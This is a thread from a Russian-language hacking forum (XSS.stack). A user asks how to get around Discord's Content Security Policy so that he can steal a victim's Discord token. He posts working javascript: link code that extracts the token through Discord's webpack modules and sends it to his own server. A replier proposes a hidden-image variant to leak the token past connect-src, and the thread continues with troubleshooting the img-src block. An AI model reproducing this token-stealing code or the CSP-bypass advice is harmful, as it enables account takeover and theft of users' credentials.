• XSS.stack #1 – первый литературный журнал от юзеров форума

Как обойти content security policy ?

NENF

CD-диск
Пользователь
Регистрация
03.02.2024
Сообщения
13
Реакции
0
Есть задача вытянуть токен дискорда при нажатии на вкладку. Токен есть и показывает,но отправить мне на сервер не хочет в связи с этой ошибкой Content-Security-Policy: The page settings blocked a resource (connect-src) from loading on http://localhost:3000/submit-token because it violates the following directive: "connect-src 'self'". Код который отправляет токен выглядит так :
<a href="javascript:(function() {
function getToken() {
return (webpackChunkdiscord_app.push([[''],{},e=>{m=[];for(let c in e.c)m.push(e.c[c])}]),m).find(m=>m?.exports?.default?.getToken!==void 0).exports.default.getToken();
}

function sendTokenToServer(token) {
var xhr = new XMLHttpRequest();
xhr.open('POST', 'http://localhost:3000/submit-token');
xhr.setRequestHeader('Content-Type', 'application/json');
xhr.send(JSON.stringify({ token: token }));
}
var token = getToken();
console.log('Token:', token);
sendTokenToServer(token);
})();">Send Token to Server</a>
Помогите советом пожалуйста
 
Согласно MDN, connect-src 'self' ограничивает лишь:
  • <a>, ping
  • fetch()
  • XMLHttpRequest
  • WebSocket
  • EventSource
  • Navigator.sendBeacon()
Стоит попробовать передать данные через, например, загрузку картинки:
JavaScript:
<a href="javascript:(() => {
  function getToken() {
    // ...
  }
  const img = document.createElement('img');
  img.style.display = 'none';
  img.src = `http://localhost:3000/submit-token?token=${getToken()}`;
  document.body.appendChild(img);
})();">Send Token to Server</a>
 
Все та же ошибка в консоли. Content-Security-Policy: Параметры страницы заблокировали загрузку ресурса (img-src) на http://localhost:3000/submit-token?token=, поскольку это нарушает следующую директиву: «img-src 'self' . Кстати,токен показывает в этой ссылке,но передавать на сервер не хочет
Согласно MDN, connect-src 'self' ограничивает лишь:
  • <a>, ping
  • fetch()
  • XMLHttpRequest
  • WebSocket
  • EventSource
  • Navigator.sendBeacon()
Стоит попробовать передать данные через, например, загрузку картинки:
JavaScript:
<a href="javascript:(() => {
  function getToken() {
    // ...
  }
  const img = document.createElement('img');
  img.style.display = 'none';
  img.src = `http://localhost:3000/submit-token?token=${getToken()}`;
  document.body.appendChild(img);
})();">Send Token to Server</a>
 
Это не та же ошибка. Теперь полиси img-src 'self', была connect-src 'self'. Вообще, чтобы вот так не гадать что сработает, а что нет имеет смысл сначала привести здесь весь CSP полностью. Посмотреть можно в заголовках ответа или в мете.
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх